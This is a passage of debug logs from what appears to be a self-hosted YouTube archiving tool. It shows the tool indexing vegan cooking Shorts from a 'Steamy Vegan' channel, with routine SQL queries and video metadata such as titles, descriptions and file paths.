vitamin P(asta) 🍝/Get your vitamin P(asta) 🍝 [VpCf1jYixpA].NA", "id" => "VpCf1jYixpA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/VpCf1jYixpA", "playlist_index" => 367, "timestamp" => 1655560825, "title" => "Get your vitamin P(asta) 🍝", "upload_date" => "20220618"} 20:29:10.205 [debug] QUERY OK source="sources" db=0.6ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:10.205 [debug] QUERY OK source="sources" db=0.4ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:10.208 [debug] QUERY OK source="media_items" db=2.1ms idle=3.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-18 14:00:25Z], 1] 20:29:10.209 [debug] QUERY OK source="media_items" db=1.1ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Getting your daily intake of vitamin P has been shown to increase happiness by up to 100% 😊\n\nCatch my other bomb-diggity pastas here: https://www.youtube.com/playlist?list=PLf7woCLAh2s_zMY_ilvwpv-EvRNMbkHG3", "Get your vitamin P(asta) 🍝", "6f2545a1-fde1-457a-a8d8-37a4798e7da5", 1, [], 15, false, "VpCf1jYixpA", "https://www.youtube.com/shorts/VpCf1jYixpA", 367, "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Get your vitamin P(asta) 🍝/Get your vitamin P(asta) 🍝 [VpCf1jYixpA].NA", false, false, true, 2, ~U[2022-06-18 14:00:25Z], ~U[2026-03-22 03:29:10Z], ~U[2026-03-22 03:29:10Z], "Getting your daily intake of vitamin P has been shown to increase happiness by up to 100% 😊\n\nCatch my other bomb-diggity pastas here: https://www.youtube.com/playlist?list=PLf7woCLAh2s_zMY_ilvwpv-EvRNMbkHG3", "Get your vitamin P(asta) 🍝", 1, 15, false, "VpCf1jYixpA", "https://www.youtube.com/shorts/VpCf1jYixpA", "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Get your vitamin P(asta) 🍝/Get your vitamin P(asta) 🍝 [VpCf1jYixpA].NA", true, ~U[2022-06-18 14:00:25Z]] 20:29:10.210 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:10.210 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:10.211 [debug] QUERY OK source="media_items" db=0.4ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [756] 20:29:10.211 [debug] Current batch of media processed. Will check again in 1000ms 20:29:11.212 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Focaccia bread is the focc-ing bomb.com 💣 \n\nEspecially when you can make it vegan and gluten-free! 🌿", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-17 I can’t focc-ing help myself 🥖 🍞/I can’t focc-ing help myself 🥖 🍞 [sjbS6rb8-Eo].NA", "id" => "sjbS6rb8-Eo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/sjbS6rb8-Eo", "playlist_index" => 368, "timestamp" => 1655508605, "title" => "I can’t focc-ing help myself 🥖 🍞", "upload_date" => "20220617"} 20:29:11.213 [debug] QUERY OK source="sources" db=0.4ms decode=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:11.214 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:11.216 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 23:30:05Z], 1] 20:29:11.218 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Focaccia bread is the focc-ing bomb.com 💣 \n\nEspecially when you can make it vegan and gluten-free! 🌿", "I can’t focc-ing help myself 🥖 🍞", "79319efe-2a03-4ba9-9086-868cc810c110", 1, [], 15, false, "sjbS6rb8-Eo", "https://www.youtube.com/shorts/sjbS6rb8-Eo", 368, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 I can’t focc-ing help myself 🥖 🍞/I can’t focc-ing help myself 🥖 🍞 [sjbS6rb8-Eo].NA", false, false, true, 0, ~U[2022-06-17 23:30:05Z], ~U[2026-03-22 03:29:11Z], ~U[2026-03-22 03:29:11Z], "Focaccia bread is the focc-ing bomb.com 💣 \n\nEspecially when you can make it vegan and gluten-free! 🌿", "I can’t focc-ing help myself 🥖 🍞", 1, 15, false, "sjbS6rb8-Eo", "https://www.youtube.com/shorts/sjbS6rb8-Eo", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 I can’t focc-ing help myself 🥖 🍞/I can’t focc-ing help myself 🥖 🍞 [sjbS6rb8-Eo].NA", true, ~U[2022-06-17 23:30:05Z]] 20:29:11.219 [debug] QUERY OK source="sources" db=0.4ms idle=793.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:11.219 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:11.220 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [757] 20:29:11.220 [debug] Current batch of media processed. Will check again in 1000ms 20:29:12.221 [debug] Current batch of media processed. Will check again in 1000ms 20:29:13.223 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I'm staying #coolforthesummer with pizza, 'cause all the cool kids put pesto on their pizzas nowadays, right? \n\nbutternut squash pizza crust\nhomemade basil pesto\nfresh zucchini\nhomemade roasted peppers\nblack ollies\nmore fresh basil\n\n* chef's kiss * SUBSCRIBE FOR MORE", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-17 Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts/Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts [Y8E03UMXFD4].NA", "id" => "Y8E03UMXFD4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Y8E03UMXFD4", "playlist_index" => 369, "timestamp" => 1655490632, "title" => "Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts", "upload_date" => "20220617"} 20:29:13.224 [debug] QUERY OK source="sources" db=0.7ms idle=794.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:13.225 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=641.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:13.229 [debug] QUERY OK source="media_items" db=3.1ms idle=642.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 18:30:32Z], 1] 20:29:13.232 [debug] QUERY OK source="media_items" db=3.0ms idle=645.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm staying #coolforthesummer with pizza, 'cause all the cool kids put pesto on their pizzas nowadays, right? \n\nbutternut squash pizza crust\nhomemade basil pesto\nfresh zucchini\nhomemade roasted peppers\nblack ollies\nmore fresh basil\n\n* chef's kiss * SUBSCRIBE FOR MORE", "Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts", "be552392-f55b-497a-aad6-c88da83447e7", 1, [], 15, false, "Y8E03UMXFD4", "https://www.youtube.com/shorts/Y8E03UMXFD4", 369, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts/Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts [Y8E03UMXFD4].NA", false, false, true, 1, ~U[2022-06-17 18:30:32Z], ~U[2026-03-22 03:29:13Z], ~U[2026-03-22 03:29:13Z], "I'm staying #coolforthesummer with pizza, 'cause all the cool kids put pesto on their pizzas nowadays, right? \n\nbutternut squash pizza crust\nhomemade basil pesto\nfresh zucchini\nhomemade roasted peppers\nblack ollies\nmore fresh basil\n\n* chef's kiss * SUBSCRIBE FOR MORE", "Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts", 1, 15, false, "Y8E03UMXFD4", "https://www.youtube.com/shorts/Y8E03UMXFD4", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts/Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts [Y8E03UMXFD4].NA", true, ~U[2022-06-17 18:30:32Z]] 20:29:13.233 [debug] QUERY OK source="sources" db=1.0ms idle=649.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:13.234 [debug] QUERY OK source="media_profiles" db=0.9ms idle=9.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:13.236 [debug] QUERY OK source="media_items" db=0.9ms idle=9.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [758] 20:29:13.236 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "On a vegan and gluten free diet you can definitely have some pretty epic cheat meals or full days. These are just a few of my go-to cheat day meals that I like to have at least once per month if I've behaved with my diet and exercising.\n\nCheck out the full recipe videos below:\n1. Blender Banana Pancakes: https://youtu.be/Ku7a74eh3a8\n2. 4 Epic Cheat Day Grilled Cheeses: https://youtu.be/2PBpb8LJWwE\n3. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n4. 4 Epic Cheat Day Mac 'N Cheeses: https://youtu.be/mrnDt0w-gno\n\nSubscribe for more daily content all about vegan and gluten free cooking! Thanks for all your support! \nJanelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-17 What I Eat as a Vegan on a Cheat Day/What I Eat as a Vegan on a Cheat Day [c6VUfL_hFbQ].NA", "id" => "c6VUfL_hFbQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/c6VUfL_hFbQ", "playlist_index" => 370, "timestamp" => 1655474431, "title" => "What I Eat as a Vegan on a Cheat Day", "upload_date" => "20220617"} 20:29:13.238 [debug] QUERY OK source="sources" db=1.6ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:13.239 [debug] QUERY OK source="sources" db=0.8ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:13.242 [debug] QUERY OK source="media_items" db=2.9ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 14:00:31Z], 1] 20:29:13.244 [debug] QUERY OK source="media_items" db=1.2ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["On a vegan and gluten free diet you can definitely have some pretty epic cheat meals or full days. These are just a few of my go-to cheat day meals that I like to have at least once per month if I've behaved with my diet and exercising.\n\nCheck out the full recipe videos below:\n1. Blender Banana Pancakes: https://youtu.be/Ku7a74eh3a8\n2. 4 Epic Cheat Day Grilled Cheeses: https://youtu.be/2PBpb8LJWwE\n3. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n4. 4 Epic Cheat Day Mac 'N Cheeses: https://youtu.be/mrnDt0w-gno\n\nSubscribe for more daily content all about vegan and gluten free cooking! Thanks for all your support! \nJanelle", "What I Eat as a Vegan on a Cheat Day", "77184912-c151-440d-a2a0-c066f5fdea04", 1, [], 15, false, "c6VUfL_hFbQ", "https://www.youtube.com/shorts/c6VUfL_hFbQ", 370, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 What I Eat as a Vegan on a Cheat Day/What I Eat as a Vegan on a Cheat Day [c6VUfL_hFbQ].NA", false, false, true, 2, ~U[2022-06-17 14:00:31Z], ~U[2026-03-22 03:29:13Z], ~U[2026-03-22 03:29:13Z], "On a vegan and gluten free diet you can definitely have some pretty epic cheat meals or full days. These are just a few of my go-to cheat day meals that I like to have at least once per month if I've behaved with my diet and exercising.\n\nCheck out the full recipe videos below:\n1. Blender Banana Pancakes: https://youtu.be/Ku7a74eh3a8\n2. 4 Epic Cheat Day Grilled Cheeses: https://youtu.be/2PBpb8LJWwE\n3. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n4. 4 Epic Cheat Day Mac 'N Cheeses: https://youtu.be/mrnDt0w-gno\n\nSubscribe for more daily content all about vegan and gluten free cooking! Thanks for all your support! \nJanelle", "What I Eat as a Vegan on a Cheat Day", 1, 15, false, "c6VUfL_hFbQ", "https://www.youtube.com/shorts/c6VUfL_hFbQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 What I Eat as a Vegan on a Cheat Day/What I Eat as a Vegan on a Cheat Day [c6VUfL_hFbQ].NA", true, ~U[2022-06-17 14:00:31Z]] 20:29:13.245 [debug] QUERY OK source="sources" db=0.8ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:13.246 [debug] QUERY OK source="media_profiles" db=1.0ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:13.247 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [759] 20:29:13.248 [debug] Current batch of media processed. Will check again in 1000ms 20:29:14.249 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-17 15-SECOND TORTILLAS 🌮/15-SECOND TORTILLAS 🌮 [pgcUXZOtaQA].NA", "id" => "pgcUXZOtaQA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/pgcUXZOtaQA", "playlist_index" => 371, "timestamp" => 1655424022, "title" => "15-SECOND TORTILLAS 🌮", "upload_date" => "20220617"} 20:29:14.250 [debug] QUERY OK source="sources" db=0.5ms idle=1005.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" 